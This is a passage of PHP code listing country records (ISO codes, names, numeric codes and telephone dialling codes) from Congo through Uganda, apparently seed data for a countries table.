'242'), array('id' => '50', 'iso' => 'CD', 'name' => 'CONGO, THE DEMOCRATIC REPUBLIC OF THE', 'nicename' => 'Congo, the Democratic Republic of the', 'iso3' => 'COD', 'numcode' => '180', 'phonecode' => '242'), array('id' => '51', 'iso' => 'CK', 'name' => 'COOK ISLANDS', 'nicename' => 'Cook Islands', 'iso3' => 'COK', 'numcode' => '184', 'phonecode' => '682'), array('id' => '52', 'iso' => 'CR', 'name' => 'COSTA RICA', 'nicename' => 'Costa Rica', 'iso3' => 'CRI', 'numcode' => '188', 'phonecode' => '506'), array('id' => '53', 'iso' => 'CI', 'name' => 'COTE D\'IVOIRE', 'nicename' => 'Cote D\'Ivoire', 'iso3' => 'CIV', 'numcode' => '384', 'phonecode' => '225'), array('id' => '54', 'iso' => 'HR', 'name' => 'CROATIA', 'nicename' => 'Croatia', 'iso3' => 'HRV', 'numcode' => '191', 'phonecode' => '385'), array('id' => '55', 'iso' => 'CU', 'name' => 'CUBA', 'nicename' => 'Cuba', 'iso3' => 'CUB', 'numcode' => '192', 'phonecode' => '53'), array('id' => '56', 'iso' => 'CY', 'name' => 'CYPRUS', 'nicename' => 'Cyprus', 'iso3' => 'CYP', 'numcode' => '196', 'phonecode' => '357'), array('id' => '57', 'iso' => 'CZ', 'name' => 'CZECH REPUBLIC', 'nicename' => 'Czech Republic', 'iso3' => 'CZE', 'numcode' => '203', 'phonecode' => '420'), array('id' => '58', 'iso' => 'DK', 'name' => 'DENMARK', 'nicename' => 'Denmark', 'iso3' => 'DNK', 'numcode' => '208', 'phonecode' => '45'), array('id' => '59', 'iso' => 'DJ', 'name' => 'DJIBOUTI', 'nicename' => 'Djibouti', 'iso3' => 'DJI', 'numcode' => '262', 'phonecode' => '253'), array('id' => '60', 'iso' => 'DM', 'name' => 'DOMINICA', 'nicename' => 'Dominica', 'iso3' => 'DMA', 'numcode' => '212', 'phonecode' => '1767'), array('id' => '61', 'iso' => 'DO', 'name' => 'DOMINICAN REPUBLIC', 'nicename' => 'Dominican Republic', 'iso3' => 'DOM', 'numcode' => '214', 'phonecode' => '1809'), array('id' => '62', 'iso' => 'EC', 'name' => 'ECUADOR', 'nicename' => 'Ecuador', 'iso3' => 'ECU', 'numcode' => '218', 'phonecode' => '593'), array('id' => '63', 'iso' => 'EG', 'name' => 'EGYPT', 'nicename' => 'Egypt', 'iso3' => 'EGY', 'numcode' => '818', 'phonecode' => '20'), array('id' => '64', 'iso' => 'SV', 'name' => 'EL SALVADOR', 'nicename' => 'El Salvador', 'iso3' => 'SLV', 'numcode' => '222', 'phonecode' => '503'), array('id' => '65', 'iso' => 'GQ', 'name' => 'EQUATORIAL GUINEA', 'nicename' => 'Equatorial Guinea', 'iso3' => 'GNQ', 'numcode' => '226', 'phonecode' => '240'), array('id' => '66', 'iso' => 'ER', 'name' => 'ERITREA', 'nicename' => 'Eritrea', 'iso3' => 'ERI', 'numcode' => '232', 'phonecode' => '291'), array('id' => '67', 'iso' => 'EE', 'name' => 'ESTONIA', 'nicename' => 'Estonia', 'iso3' => 'EST', 'numcode' => '233', 'phonecode' => '372'), array('id' => '68', 'iso' => 'ET', 'name' => 'ETHIOPIA', 'nicename' => 'Ethiopia', 'iso3' => 'ETH', 'numcode' => '231', 'phonecode' => '251'), array('id' => '69', 'iso' => 'FK', 'name' => 'FALKLAND ISLANDS (MALVINAS)', 'nicename' => 'Falkland Islands (Malvinas)', 'iso3' => 'FLK', 'numcode' => '238', 'phonecode' => '500'), array('id' => '70', 'iso' => 'FO', 'name' => 'FAROE ISLANDS', 'nicename' => 'Faroe Islands', 'iso3' => 'FRO', 'numcode' => '234', 'phonecode' => '298'), array('id' => '71', 'iso' => 'FJ', 'name' => 'FIJI', 'nicename' => 'Fiji', 'iso3' => 'FJI', 'numcode' => '242', 'phonecode' => '679'), array('id' => '72', 'iso' => 'FI', 'name' => 'FINLAND', 'nicename' => 'Finland', 'iso3' => 'FIN', 'numcode' => '246', 'phonecode' => '358'), array('id' => '73', 'iso' => 'FR', 'name' => 'FRANCE', 'nicename' => 'France', 'iso3' => 'FRA', 'numcode' => '250', 'phonecode' => '33'), array('id' => '74', 'iso' => 'GF', 'name' => 'FRENCH GUIANA', 'nicename' => 'French Guiana', 'iso3' => 'GUF', 'numcode' => '254', 'phonecode' => '594'), array('id' => '75', 'iso' => 'PF', 'name' => 'FRENCH POLYNESIA', 'nicename' => 'French Polynesia', 'iso3' => 'PYF', 'numcode' => '258', 'phonecode' => '689'), array('id' => '76', 'iso' => 'TF', 'name' => 'FRENCH SOUTHERN TERRITORIES', 'nicename' => 'French Southern Territories', 'iso3' => null, 'numcode' => null, 'phonecode' => '0'), array('id' => '77', 'iso' => 'GA', 'name' => 'GABON', 'nicename' => 'Gabon', 'iso3' => 'GAB', 'numcode' => '266', 'phonecode' => '241'), array('id' => '78', 'iso' => 'GM', 'name' => 'GAMBIA', 'nicename' => 'Gambia', 'iso3' => 'GMB', 'numcode' => '270', 'phonecode' => '220'), array('id' => '79', 'iso' => 'GE', 'name' => 'GEORGIA', 'nicename' => 'Georgia', 'iso3' => 'GEO', 'numcode' => '268', 'phonecode' => '995'), array('id' => '80', 'iso' => 'DE', 'name' => 'GERMANY', 'nicename' => 'Germany', 'iso3' => 'DEU', 'numcode' => '276', 'phonecode' => '49'), array('id' => '81', 'iso' => 'GH', 'name' => 'GHANA', 'nicename' => 'Ghana', 'iso3' => 'GHA', 'numcode' => '288', 'phonecode' => '233'), array('id' => '82', 'iso' => 'GI', 'name' => 'GIBRALTAR', 'nicename' => 'Gibraltar', 'iso3' => 'GIB', 'numcode' => '292', 'phonecode' => '350'), array('id' => '83', 'iso' => 'GR', 'name' => 'GREECE', 'nicename' => 'Greece', 'iso3' => 'GRC', 'numcode' => '300', 'phonecode' => '30'), array('id' => '84', 'iso' => 'GL', 'name' => 'GREENLAND', 'nicename' => 'Greenland', 'iso3' => 'GRL', 'numcode' => '304', 'phonecode' => '299'), array('id' => '85', 'iso' => 'GD', 'name' => 'GRENADA', 'nicename' => 'Grenada', 'iso3' => 'GRD', 'numcode' => '308', 'phonecode' => '1473'), array('id' => '86', 'iso' => 'GP', 'name' => 'GUADELOUPE', 'nicename' => 'Guadeloupe', 'iso3' => 'GLP', 'numcode' => '312', 'phonecode' => '590'), array('id' => '87', 'iso' => 'GU', 'name' => 'GUAM', 'nicename' => 'Guam', 'iso3' => 'GUM', 'numcode' => '316', 'phonecode' => '1671'), array('id' => '88', 'iso' => 'GT', 'name' => 'GUATEMALA', 'nicename' => 'Guatemala', 'iso3' => 'GTM', 'numcode' => '320', 'phonecode' => '502'), array('id' => '89', 'iso' => 'GN', 'name' => 'GUINEA', 'nicename' => 'Guinea', 'iso3' => 'GIN', 'numcode' => '324', 'phonecode' => '224'), array('id' => '90', 'iso' => 'GW', 'name' => 'GUINEA-BISSAU', 'nicename' => 'Guinea-Bissau', 'iso3' => 'GNB', 'numcode' => '624', 'phonecode' => '245'), array('id' => '91', 'iso' => 'GY', 'name' => 'GUYANA', 'nicename' => 'Guyana', 'iso3' => 'GUY', 'numcode' => '328', 'phonecode' => '592'), array('id' => '92', 'iso' => 'HT', 'name' => 'HAITI', 'nicename' => 'Haiti', 'iso3' => 'HTI', 'numcode' => '332', 'phonecode' => '509'), array('id' => '93', 'iso' => 'HM', 'name' => 'HEARD ISLAND AND MCDONALD ISLANDS', 'nicename' => 'Heard Island and Mcdonald Islands', 'iso3' => null, 'numcode' => null, 'phonecode' => '0'), array('id' => '94', 'iso' => 'VA', 'name' => 'HOLY SEE (VATICAN CITY STATE)', 'nicename' => 'Holy See (Vatican City State)', 'iso3' => 'VAT', 'numcode' => '336', 'phonecode' => '39'), array('id' => '95', 'iso' => 'HN', 'name' => 'HONDURAS', 'nicename' => 'Honduras', 'iso3' => 'HND', 'numcode' => '340', 'phonecode' => '504'), array('id' => '96', 'iso' => 'HK', 'name' => 'HONG KONG', 'nicename' => 'Hong Kong', 'iso3' => 'HKG', 'numcode' => '344', 'phonecode' => '852'), array('id' => '97', 'iso' => 'HU', 'name' => 'HUNGARY', 'nicename' => 'Hungary', 'iso3' => 'HUN', 'numcode' => '348', 'phonecode' => '36'), array('id' => '98', 'iso' => 'IS', 'name' => 'ICELAND', 'nicename' => 'Iceland', 'iso3' => 'ISL', 'numcode' => '352', 'phonecode' => '354'), array('id' => '99', 'iso' => 'IN', 'name' => 'INDIA', 'nicename' => 'India', 'iso3' => 'IND', 'numcode' => '356', 'phonecode' => '91'), array('id' => '100', 'iso' => 'ID', 'name' => 'INDONESIA', 'nicename' => 'Indonesia', 'iso3' => 'IDN', 'numcode' => '360', 'phonecode' => '62'), array('id' => '101', 'iso' => 'IR', 'name' => 'IRAN, ISLAMIC REPUBLIC OF', 'nicename' => 'Iran, Islamic Republic of', 'iso3' => 'IRN', 'numcode' => '364', 'phonecode' => '98'), array('id' => '102', 'iso' => 'IQ', 'name' => 'IRAQ', 'nicename' => 'Iraq', 'iso3' => 'IRQ', 'numcode' => '368', 'phonecode' => '964'), array('id' => '103', 'iso' => 'IE', 'name' => 'IRELAND', 'nicename' => 'Ireland', 'iso3' => 'IRL', 'numcode' => '372', 'phonecode' => '353'), array('id' => '104', 'iso' => 'IL', 'name' => 'ISRAEL', 'nicename' => 'Israel', 'iso3' => 'ISR', 'numcode' => '376', 'phonecode' => '972'), array('id' => '105', 'iso' => 'IT', 'name' => 'ITALY', 'nicename' => 'Italy', 'iso3' => 'ITA', 'numcode' => '380', 'phonecode' => '39'), array('id' => '106', 'iso' => 'JM', 'name' => 'JAMAICA', 'nicename' => 'Jamaica', 'iso3' => 'JAM', 'numcode' => '388', 'phonecode' => '1876'), array('id' => '107', 'iso' => 'JP', 'name' => 'JAPAN', 'nicename' => 'Japan', 'iso3' => 'JPN', 'numcode' => '392', 'phonecode' => '81'), array('id' => '108', 'iso' => 'JO', 'name' => 'JORDAN', 'nicename' => 'Jordan', 'iso3' => 'JOR', 'numcode' => '400', 'phonecode' => '962'), array('id' => '109', 'iso' => 'KZ', 'name' => 'KAZAKHSTAN', 'nicename' => 'Kazakhstan', 'iso3' => 'KAZ', 'numcode' => '398', 'phonecode' => '7'), array('id' => '110', 'iso' => 'KE', 'name' => 'KENYA', 'nicename' => 'Kenya', 'iso3' => 'KEN', 'numcode' => '404', 'phonecode' => '254'), array('id' => '111', 'iso' => 'KI', 'name' => 'KIRIBATI', 'nicename' => 'Kiribati', 'iso3' => 'KIR', 'numcode' => '296', 'phonecode' => '686'), array('id' => '112', 'iso' => 'KP', 'name' => 'KOREA, DEMOCRATIC PEOPLE\'S REPUBLIC OF', 'nicename' => 'Korea, Democratic People\'s Republic of', 'iso3' => 'PRK', 'numcode' => '408', 'phonecode' => '850'), array('id' => '113', 'iso' => 'KR', 'name' => 'KOREA, REPUBLIC OF', 'nicename' => 'Korea, Republic of', 'iso3' => 'KOR', 'numcode' => '410', 'phonecode' => '82'), array('id' => '114', 'iso' => 'KW', 'name' => 'KUWAIT', 'nicename' => 'Kuwait', 'iso3' => 'KWT', 'numcode' => '414', 'phonecode' => '965'), array('id' => '115', 'iso' => 'KG', 'name' => 'KYRGYZSTAN', 'nicename' => 'Kyrgyzstan', 'iso3' => 'KGZ', 'numcode' => '417', 'phonecode' => '996'), array('id' => '116', 'iso' => 'LA', 'name' => 'LAO PEOPLE\'S DEMOCRATIC REPUBLIC', 'nicename' => 'Lao People\'s Democratic Republic', 'iso3' => 'LAO', 'numcode' => '418', 'phonecode' => '856'), array('id' => '117', 'iso' => 'LV', 'name' => 'LATVIA', 'nicename' => 'Latvia', 'iso3' => 'LVA', 'numcode' => '428', 'phonecode' => '371'), array('id' => '118', 'iso' => 'LB', 'name' => 'LEBANON', 'nicename' => 'Lebanon', 'iso3' => 'LBN', 'numcode' => '422', 'phonecode' => '961'), array('id' => '119', 'iso' => 'LS', 'name' => 'LESOTHO', 'nicename' => 'Lesotho', 'iso3' => 'LSO', 'numcode' => '426', 'phonecode' => '266'), array('id' => '120', 'iso' => 'LR', 'name' => 'LIBERIA', 'nicename' => 'Liberia', 'iso3' => 'LBR', 'numcode' => '430', 'phonecode' => '231'), array('id' => '121', 'iso' => 'LY', 'name' => 'LIBYAN ARAB JAMAHIRIYA', 'nicename' => 'Libyan Arab Jamahiriya', 'iso3' => 'LBY', 'numcode' => '434', 'phonecode' => '218'), array('id' => '122', 'iso' => 'LI', 'name' => 'LIECHTENSTEIN', 'nicename' => 'Liechtenstein', 'iso3' => 'LIE', 'numcode' => '438', 'phonecode' => '423'), array('id' => '123', 'iso' => 'LT', 'name' => 'LITHUANIA', 'nicename' => 'Lithuania', 'iso3' => 'LTU', 'numcode' => '440', 'phonecode' => '370'), array('id' => '124', 'iso' => 'LU', 'name' => 'LUXEMBOURG', 'nicename' => 'Luxembourg', 'iso3' => 'LUX', 'numcode' => '442', 'phonecode' => '352'), array('id' => '125', 'iso' => 'MO', 'name' => 'MACAO', 'nicename' => 'Macao', 'iso3' => 'MAC', 'numcode' => '446', 'phonecode' => '853'), array('id' => '126', 'iso' => 'MK', 'name' => 'MACEDONIA, THE FORMER YUGOSLAV REPUBLIC OF', 'nicename' => 'Macedonia, the Former Yugoslav Republic of', 'iso3' => 'MKD', 'numcode' => '807', 'phonecode' => '389'), array('id' => '127', 'iso' => 'MG', 'name' => 'MADAGASCAR', 'nicename' => 'Madagascar', 'iso3' => 'MDG', 'numcode' => '450', 'phonecode' => '261'), array('id' => '128', 'iso' => 'MW', 'name' => 'MALAWI', 'nicename' => 'Malawi', 'iso3' => 'MWI', 'numcode' => '454', 'phonecode' => '265'), array('id' => '129', 'iso' => 'MY', 'name' => 'MALAYSIA', 'nicename' => 'Malaysia', 'iso3' => 'MYS', 'numcode' => '458', 'phonecode' => '60'), array('id' => '130', 'iso' => 'MV', 'name' => 'MALDIVES', 'nicename' => 'Maldives', 'iso3' => 'MDV', 'numcode' => '462', 'phonecode' => '960'), array('id' => '131', 'iso' => 'ML', 'name' => 'MALI', 'nicename' => 'Mali', 'iso3' => 'MLI', 'numcode' => '466', 'phonecode' => '223'), array('id' => '132', 'iso' => 'MT', 'name' => 'MALTA', 'nicename' => 'Malta', 'iso3' => 'MLT', 'numcode' => '470', 'phonecode' => '356'), array('id' => '133', 'iso' => 'MH', 'name' => 'MARSHALL ISLANDS', 'nicename' => 'Marshall Islands', 'iso3' => 'MHL', 'numcode' => '584', 'phonecode' => '692'), array('id' => '134', 'iso' => 'MQ', 'name' => 'MARTINIQUE', 'nicename' => 'Martinique', 'iso3' => 'MTQ', 'numcode' => '474', 'phonecode' => '596'), array('id' => '135', 'iso' => 'MR', 'name' => 'MAURITANIA', 'nicename' => 'Mauritania', 'iso3' => 'MRT', 'numcode' => '478', 'phonecode' => '222'), array('id' => '136', 'iso' => 'MU', 'name' => 'MAURITIUS', 'nicename' => 'Mauritius', 'iso3' => 'MUS', 'numcode' => '480', 'phonecode' => '230'), array('id' => '137', 'iso' => 'YT', 'name' => 'MAYOTTE', 'nicename' => 'Mayotte', 'iso3' => null, 'numcode' => null, 'phonecode' => '269'), array('id' => '138', 'iso' => 'MX', 'name' => 'MEXICO', 'nicename' => 'Mexico', 'iso3' => 'MEX', 'numcode' => '484', 'phonecode' => '52'), array('id' => '139', 'iso' => 'FM', 'name' => 'MICRONESIA, FEDERATED STATES OF', 'nicename' => 'Micronesia, Federated States of', 'iso3' => 'FSM', 'numcode' => '583', 'phonecode' => '691'), array('id' => '140', 'iso' => 'MD', 'name' => 'MOLDOVA, REPUBLIC OF', 'nicename' => 'Moldova, Republic of', 'iso3' => 'MDA', 'numcode' => '498', 'phonecode' => '373'), array('id' => '141', 'iso' => 'MC', 'name' => 'MONACO', 'nicename' => 'Monaco', 'iso3' => 'MCO', 'numcode' => '492', 'phonecode' => '377'), array('id' => '142', 'iso' => 'MN', 'name' => 'MONGOLIA', 'nicename' => 'Mongolia', 'iso3' => 'MNG', 'numcode' => '496', 'phonecode' => '976'), array('id' => '143', 'iso' => 'MS', 'name' => 'MONTSERRAT', 'nicename' => 'Montserrat', 'iso3' => 'MSR', 'numcode' => '500', 'phonecode' => '1664'), array('id' => '144', 'iso' => 'MA', 'name' => 'MOROCCO', 'nicename' => 'Morocco', 'iso3' => 'MAR', 'numcode' => '504', 'phonecode' => '212'), array('id' => '145', 'iso' => 'MZ', 'name' => 'MOZAMBIQUE', 'nicename' => 'Mozambique', 'iso3' => 'MOZ', 'numcode' => '508', 'phonecode' => '258'), array('id' => '146', 'iso' => 'MM', 'name' => 'MYANMAR', 'nicename' => 'Myanmar', 'iso3' => 'MMR', 'numcode' => '104', 'phonecode' => '95'), array('id' => '147', 'iso' => 'NA', 'name' => 'NAMIBIA', 'nicename' => 'Namibia', 'iso3' => 'NAM', 'numcode' => '516', 'phonecode' => '264'), array('id' => '148', 'iso' => 'NR', 'name' => 'NAURU', 'nicename' => 'Nauru', 'iso3' => 'NRU', 'numcode' => '520', 'phonecode' => '674'), array('id' => '149', 'iso' => 'NP', 'name' => 'NEPAL', 'nicename' => 'Nepal', 'iso3' => 'NPL', 'numcode' => '524', 'phonecode' => '977'), array('id' => '150', 'iso' => 'NL', 'name' => 'NETHERLANDS', 'nicename' => 'Netherlands', 'iso3' => 'NLD', 'numcode' => '528', 'phonecode' => '31'), array('id' => '151', 'iso' => 'AN', 'name' => 'NETHERLANDS ANTILLES', 'nicename' => 'Netherlands Antilles', 'iso3' => 'ANT', 'numcode' => '530', 'phonecode' => '599'), array('id' => '152', 'iso' => 'NC', 'name' => 'NEW CALEDONIA', 'nicename' => 'New Caledonia', 'iso3' => 'NCL', 'numcode' => '540', 'phonecode' => '687'), array('id' => '153', 'iso' => 'NZ', 'name' => 'NEW ZEALAND', 'nicename' => 'New Zealand', 'iso3' => 'NZL', 'numcode' => '554', 'phonecode' => '64'), array('id' => '154', 'iso' => 'NI', 'name' => 'NICARAGUA', 'nicename' => 'Nicaragua', 'iso3' => 'NIC', 'numcode' => '558', 'phonecode' => '505'), array('id' => '155', 'iso' => 'NE', 'name' => 'NIGER', 'nicename' => 'Niger', 'iso3' => 'NER', 'numcode' => '562', 'phonecode' => '227'), array('id' => '156', 'iso' => 'NG', 'name' => 'NIGERIA', 'nicename' => 'Nigeria', 'iso3' => 'NGA', 'numcode' => '566', 'phonecode' => '234'), array('id' => '157', 'iso' => 'NU', 'name' => 'NIUE', 'nicename' => 'Niue', 'iso3' => 'NIU', 'numcode' => '570', 'phonecode' => '683'), array('id' => '158', 'iso' => 'NF', 'name' => 'NORFOLK ISLAND', 'nicename' => 'Norfolk Island', 'iso3' => 'NFK', 'numcode' => '574', 'phonecode' => '672'), array('id' => '159', 'iso' => 'MP', 'name' => 'NORTHERN MARIANA ISLANDS', 'nicename' => 'Northern Mariana Islands', 'iso3' => 'MNP', 'numcode' => '580', 'phonecode' => '1670'), array('id' => '160', 'iso' => 'NO', 'name' => 'NORWAY', 'nicename' => 'Norway', 'iso3' => 'NOR', 'numcode' => '578', 'phonecode' => '47'), array('id' => '161', 'iso' => 'OM', 'name' => 'OMAN', 'nicename' => 'Oman', 'iso3' => 'OMN', 'numcode' => '512', 'phonecode' => '968'), array('id' => '162', 'iso' => 'PK', 'name' => 'PAKISTAN', 'nicename' => 'Pakistan', 'iso3' => 'PAK', 'numcode' => '586', 'phonecode' => '92'), array('id' => '163', 'iso' => 'PW', 'name' => 'PALAU', 'nicename' => 'Palau', 'iso3' => 'PLW', 'numcode' => '585', 'phonecode' => '680'), array('id' => '164', 'iso' => 'PS', 'name' => 'PALESTINIAN TERRITORY, OCCUPIED', 'nicename' => 'Palestinian Territory, Occupied', 'iso3' => null, 'numcode' => null, 'phonecode' => '970'), array('id' => '165', 'iso' => 'PA', 'name' => 'PANAMA', 'nicename' => 'Panama', 'iso3' => 'PAN', 'numcode' => '591', 'phonecode' => '507'), array('id' => '166', 'iso' => 'PG', 'name' => 'PAPUA NEW GUINEA', 'nicename' => 'Papua New Guinea', 'iso3' => 'PNG', 'numcode' => '598', 'phonecode' => '675'), array('id' => '167', 'iso' => 'PY', 'name' => 'PARAGUAY', 'nicename' => 'Paraguay', 'iso3' => 'PRY', 'numcode' => '600', 'phonecode' => '595'), array('id' => '168', 'iso' => 'PE', 'name' => 'PERU', 'nicename' => 'Peru', 'iso3' => 'PER', 'numcode' => '604', 'phonecode' => '51'), array('id' => '169', 'iso' => 'PH', 'name' => 'PHILIPPINES', 'nicename' => 'Philippines', 'iso3' => 'PHL', 'numcode' => '608', 'phonecode' => '63'), array('id' => '170', 'iso' => 'PN', 'name' => 'PITCAIRN', 'nicename' => 'Pitcairn', 'iso3' => 'PCN', 'numcode' => '612', 'phonecode' => '0'), array('id' => '171', 'iso' => 'PL', 'name' => 'POLAND', 'nicename' => 'Poland', 'iso3' => 'POL', 'numcode' => '616', 'phonecode' => '48'), array('id' => '172', 'iso' => 'PT', 'name' => 'PORTUGAL', 'nicename' => 'Portugal', 'iso3' => 'PRT', 'numcode' => '620', 'phonecode' => '351'), array('id' => '173', 'iso' => 'PR', 'name' => 'PUERTO RICO', 'nicename' => 'Puerto Rico', 'iso3' => 'PRI', 'numcode' => '630', 'phonecode' => '1787'), array('id' => '174', 'iso' => 'QA', 'name' => 'QATAR', 'nicename' => 'Qatar', 'iso3' => 'QAT', 'numcode' => '634', 'phonecode' => '974'), array('id' => '175', 'iso' => 'RE', 'name' => 'REUNION', 'nicename' => 'Reunion', 'iso3' => 'REU', 'numcode' => '638', 'phonecode' => '262'), array('id' => '176', 'iso' => 'RO', 'name' => 'ROMANIA', 'nicename' => 'Romania', 'iso3' => 'ROM', 'numcode' => '642', 'phonecode' => '40'), array('id' => '177', 'iso' => 'RU', 'name' => 'RUSSIAN FEDERATION', 'nicename' => 'Russian Federation', 'iso3' => 'RUS', 'numcode' => '643', 'phonecode' => '7'), array('id' => '178', 'iso' => 'RW', 'name' => 'RWANDA', 'nicename' => 'Rwanda', 'iso3' => 'RWA', 'numcode' => '646', 'phonecode' => '250'), array('id' => '179', 'iso' => 'SH', 'name' => 'SAINT HELENA', 'nicename' => 'Saint Helena', 'iso3' => 'SHN', 'numcode' => '654', 'phonecode' => '290'), array('id' => '180', 'iso' => 'KN', 'name' => 'SAINT KITTS AND NEVIS', 'nicename' => 'Saint Kitts and Nevis', 'iso3' => 'KNA', 'numcode' => '659', 'phonecode' => '1869'), array('id' => '181', 'iso' => 'LC', 'name' => 'SAINT LUCIA', 'nicename' => 'Saint Lucia', 'iso3' => 'LCA', 'numcode' => '662', 'phonecode' => '1758'), array('id' => '182', 'iso' => 'PM', 'name' => 'SAINT PIERRE AND MIQUELON', 'nicename' => 'Saint Pierre and Miquelon', 'iso3' => 'SPM', 'numcode' => '666', 'phonecode' => '508'), array('id' => '183', 'iso' => 'VC', 'name' => 'SAINT VINCENT AND THE GRENADINES', 'nicename' => 'Saint Vincent and the Grenadines', 'iso3' => 'VCT', 'numcode' => '670', 'phonecode' => '1784'), array('id' => '184', 'iso' => 'WS', 'name' => 'SAMOA', 'nicename' => 'Samoa', 'iso3' => 'WSM', 'numcode' => '882', 'phonecode' => '684'), array('id' => '185', 'iso' => 'SM', 'name' => 'SAN MARINO', 'nicename' => 'San Marino', 'iso3' => 'SMR', 'numcode' => '674', 'phonecode' => '378'), array('id' => '186', 'iso' => 'ST', 'name' => 'SAO TOME AND PRINCIPE', 'nicename' => 'Sao Tome and Principe', 'iso3' => 'STP', 'numcode' => '678', 'phonecode' => '239'), array('id' => '187', 'iso' => 'SA', 'name' => 'SAUDI ARABIA', 'nicename' => 'Saudi Arabia', 'iso3' => 'SAU', 'numcode' => '682', 'phonecode' => '966'), array('id' => '188', 'iso' => 'SN', 'name' => 'SENEGAL', 'nicename' => 'Senegal', 'iso3' => 'SEN', 'numcode' => '686', 'phonecode' => '221'), array('id' => '189', 'iso' => 'CS', 'name' => 'SERBIA AND MONTENEGRO', 'nicename' => 'Serbia and Montenegro', 'iso3' => null, 'numcode' => null, 'phonecode' => '381'), array('id' => '190', 'iso' => 'SC', 'name' => 'SEYCHELLES', 'nicename' => 'Seychelles', 'iso3' => 'SYC', 'numcode' => '690', 'phonecode' => '248'), array('id' => '191', 'iso' => 'SL', 'name' => 'SIERRA LEONE', 'nicename' => 'Sierra Leone', 'iso3' => 'SLE', 'numcode' => '694', 'phonecode' => '232'), array('id' => '192', 'iso' => 'SG', 'name' => 'SINGAPORE', 'nicename' => 'Singapore', 'iso3' => 'SGP', 'numcode' => '702', 'phonecode' => '65'), array('id' => '193', 'iso' => 'SK', 'name' => 'SLOVAKIA', 'nicename' => 'Slovakia', 'iso3' => 'SVK', 'numcode' => '703', 'phonecode' => '421'), array('id' => '194', 'iso' => 'SI', 'name' => 'SLOVENIA', 'nicename' => 'Slovenia', 'iso3' => 'SVN', 'numcode' => '705', 'phonecode' => '386'), array('id' => '195', 'iso' => 'SB', 'name' => 'SOLOMON ISLANDS', 'nicename' => 'Solomon Islands', 'iso3' => 'SLB', 'numcode' => '90', 'phonecode' => '677'), array('id' => '196', 'iso' => 'SO', 'name' => 'SOMALIA', 'nicename' => 'Somalia', 'iso3' => 'SOM', 'numcode' => '706', 'phonecode' => '252'), array('id' => '197', 'iso' => 'ZA', 'name' => 'SOUTH AFRICA', 'nicename' => 'South Africa', 'iso3' => 'ZAF', 'numcode' => '710', 'phonecode' => '27'), array('id' => '198', 'iso' => 'GS', 'name' => 'SOUTH GEORGIA AND THE SOUTH SANDWICH ISLANDS', 'nicename' => 'South Georgia and the South Sandwich Islands', 'iso3' => null, 'numcode' => null, 'phonecode' => '0'), array('id' => '199', 'iso' => 'ES', 'name' => 'SPAIN', 'nicename' => 'Spain', 'iso3' => 'ESP', 'numcode' => '724', 'phonecode' => '34'), array('id' => '200', 'iso' => 'LK', 'name' => 'SRI LANKA', 'nicename' => 'Sri Lanka', 'iso3' => 'LKA', 'numcode' => '144', 'phonecode' => '94'), array('id' => '201', 'iso' => 'SD', 'name' => 'SUDAN', 'nicename' => 'Sudan', 'iso3' => 'SDN', 'numcode' => '736', 'phonecode' => '249'), array('id' => '202', 'iso' => 'SR', 'name' => 'SURINAME', 'nicename' => 'Suriname', 'iso3' => 'SUR', 'numcode' => '740', 'phonecode' => '597'), array('id' => '203', 'iso' => 'SJ', 'name' => 'SVALBARD AND JAN MAYEN', 'nicename' => 'Svalbard and Jan Mayen', 'iso3' => 'SJM', 'numcode' => '744', 'phonecode' => '47'), array('id' => '204', 'iso' => 'SZ', 'name' => 'SWAZILAND', 'nicename' => 'Swaziland', 'iso3' => 'SWZ', 'numcode' => '748', 'phonecode' => '268'), array('id' => '205', 'iso' => 'SE', 'name' => 'SWEDEN', 'nicename' => 'Sweden', 'iso3' => 'SWE', 'numcode' => '752', 'phonecode' => '46'), array('id' => '206', 'iso' => 'CH', 'name' => 'SWITZERLAND', 'nicename' => 'Switzerland', 'iso3' => 'CHE', 'numcode' => '756', 'phonecode' => '41'), array('id' => '207', 'iso' => 'SY', 'name' => 'SYRIAN ARAB REPUBLIC', 'nicename' => 'Syrian Arab Republic', 'iso3' => 'SYR', 'numcode' => '760', 'phonecode' => '963'), array('id' => '208', 'iso' => 'TW', 'name' => 'TAIWAN, PROVINCE OF CHINA', 'nicename' => 'Taiwan, Province of China', 'iso3' => 'TWN', 'numcode' => '158', 'phonecode' => '886'), array('id' => '209', 'iso' => 'TJ', 'name' => 'TAJIKISTAN', 'nicename' => 'Tajikistan', 'iso3' => 'TJK', 'numcode' => '762', 'phonecode' => '992'), array('id' => '210', 'iso' => 'TZ', 'name' => 'TANZANIA, UNITED REPUBLIC OF', 'nicename' => 'Tanzania, United Republic of', 'iso3' => 'TZA', 'numcode' => '834', 'phonecode' => '255'), array('id' => '211', 'iso' => 'TH', 'name' => 'THAILAND', 'nicename' => 'Thailand', 'iso3' => 'THA', 'numcode' => '764', 'phonecode' => '66'), array('id' => '212', 'iso' => 'TL', 'name' => 'TIMOR-LESTE', 'nicename' => 'Timor-Leste', 'iso3' => null, 'numcode' => null, 'phonecode' => '670'), array('id' => '213', 'iso' => 'TG', 'name' => 'TOGO', 'nicename' => 'Togo', 'iso3' => 'TGO', 'numcode' => '768', 'phonecode' => '228'), array('id' => '214', 'iso' => 'TK', 'name' => 'TOKELAU', 'nicename' => 'Tokelau', 'iso3' => 'TKL', 'numcode' => '772', 'phonecode' => '690'), array('id' => '215', 'iso' => 'TO', 'name' => 'TONGA', 'nicename' => 'Tonga', 'iso3' => 'TON', 'numcode' => '776', 'phonecode' => '676'), array('id' => '216', 'iso' => 'TT', 'name' => 'TRINIDAD AND TOBAGO', 'nicename' => 'Trinidad and Tobago', 'iso3' => 'TTO', 'numcode' => '780', 'phonecode' => '1868'), array('id' => '217', 'iso' => 'TN', 'name' => 'TUNISIA', 'nicename' => 'Tunisia', 'iso3' => 'TUN', 'numcode' => '788', 'phonecode' => '216'), array('id' => '218', 'iso' => 'TR', 'name' => 'TURKEY', 'nicename' => 'Turkey', 'iso3' => 'TUR', 'numcode' => '792', 'phonecode' => '90'), array('id' => '219', 'iso' => 'TM', 'name' => 'TURKMENISTAN', 'nicename' => 'Turkmenistan', 'iso3' => 'TKM', 'numcode' => '795', 'phonecode' => '7370'), array('id' => '220', 'iso' => 'TC', 'name' => 'TURKS AND CAICOS ISLANDS', 'nicename' => 'Turks and Caicos Islands', 'iso3' => 'TCA', 'numcode' => '796', 'phonecode' => '1649'), array('id' => '221', 'iso' => 'TV', 'name' => 'TUVALU', 'nicename' => 'Tuvalu', 'iso3' => 'TUV', 'numcode' => '798', 'phonecode' => '688'), array('id' => '222', 'iso' => 'UG', 'name' => 'UGANDA', 'nicename' => 'Uganda', 'iso3' => 'UGA', 'numcode' => '800', 'phonecode' 